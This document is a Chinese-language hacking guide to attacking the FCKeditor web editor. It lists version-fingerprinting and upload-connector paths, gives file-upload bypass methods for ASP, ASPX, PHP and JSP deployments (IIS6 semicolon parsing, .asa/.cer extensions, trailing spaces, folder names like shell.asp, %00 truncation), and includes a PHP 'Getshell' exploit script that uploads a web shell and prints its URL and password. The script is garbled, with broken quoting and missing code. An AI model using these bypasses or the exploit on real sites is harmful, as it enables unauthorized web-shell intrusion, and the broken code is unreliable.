0x01 FCKeditor简介

FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、MozillaFirefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未来的版本也将会加入对 Opera的支援。

0x02 判断版本

常见判断版本方法有两个:

/fckeditor/editor/dialog/fck_about.html

/FCKeditor/_whatsnew.html

0x03 上传地址

常用的上传地址A

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

常用的上传地址B

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

0x04 上传方法

ASP版

asp一般是搭在windows主机上,webserver一般为IIS6/IIS7/IIS7.5。据我现在所知,asp版的fckeditor已经可以全秒了。

<2.4.x版本(也就是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。如果asa、cer不被解析,还可以传.asp[空格]。传的方法就是抓包然后在数据包里的文件名后填个空格。

2.5.x和2.6.x:如果是IIS6.0 ,可以通过突破变”.”为”_”限制创建.asp文件夹,代码如下:

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z.asp

复制代码然后往这个文件夹里传jpg,这个不多说了。

如果是IIS7及以上,这种方法就傻逼了。这个时候可以借助刚爆出来的那种方法,先传shell.asp%00txt,然后再传一次。

至此,asp版本已经全秒了。

ASPX版

低版本同ASP版,2.6.x用刚爆出来的二次上传已经不好使了,不过新建test.asp的文件夹还可以使。一般IIS6.0会支持asp,可以先传个asp上去,然后再XX。

PHP版

1.低版本(2.4.x及以下),仍然为黑名单验证,windows主机可以使用php[空格]传,2.4.3的有个media未设置导致任意文件上传可以秒linux。

2.2.5.x以后是白名单验证,仅能寄希望于wooyun里爆的那个<2.6.4的任意文件上传,成功率有限。

3.2.6.4以上的php版,据我所知没戏,求高人指点!我粗略的看了一下它的验证逻辑,表示没戏,windows里的敏感字符全给过滤了。

0x05 实战案例

【aspx+2.6.4】

1.上传地址:

2.上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg

3.shell地址:

【PHP+2.4.3】

1.Linux服务器,利用media未设置导致任意文件上传,测试POC为:

‘ +————————————————————–+ NS-ASG Getshell Exploit +————————————————————–+ ‘); if ($argc < 2) { print_r(‘ +————————————————————–+ Example: php ‘.$argv[0].’ localhost +————————————————————–+ ‘); exit; } $host = $argv[1]; $file = ‘index.php’; $path = “/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media”; $url = ‘https://’.$host.$path; $fp = fopen(“$file”,”w”) or die(‘can not write’); fwrite($fp,””); fclose($fp); $data = array(‘NewFile’=>’@’. dirname(__FILE__).”/$file”); $curl = curl_init; curl_setopt ( $curl, CURLOPT_URL, $url ); // curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 ); curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 ); curl_setopt ( $curl, CURLOPT_USERAGENT, “Mozilla/4.0″ ); @curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 ); curl_setopt ( $curl, CURLOPT_POST, 1 ); curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data ); curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 ); curl_setopt ( $curl, CURLOPT_HEADER, 0 ); curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 ); $tmpInfo = curl_exec ( $curl ); if (curl_errno ( $curl )) { echo ‘Errno’ . curl_error ( $curl ); } curl_close ( $curl ); //echo $tmpInfo; preg_match(‘/201,\”(.*)\”,\”/iU’,$tmpInfo,$matchs); $url = ‘https://’.$host.$matchs[1]; print ‘Shell: ‘.$url.’ password: cmd’; ?>

2.利用方式:php.exe 1.php 202.ip.ip.ip

【JSP+2.2】

1.利用00截断上传,地址如下:

2.上传后抓包并添加00截断如下:

3.shell地址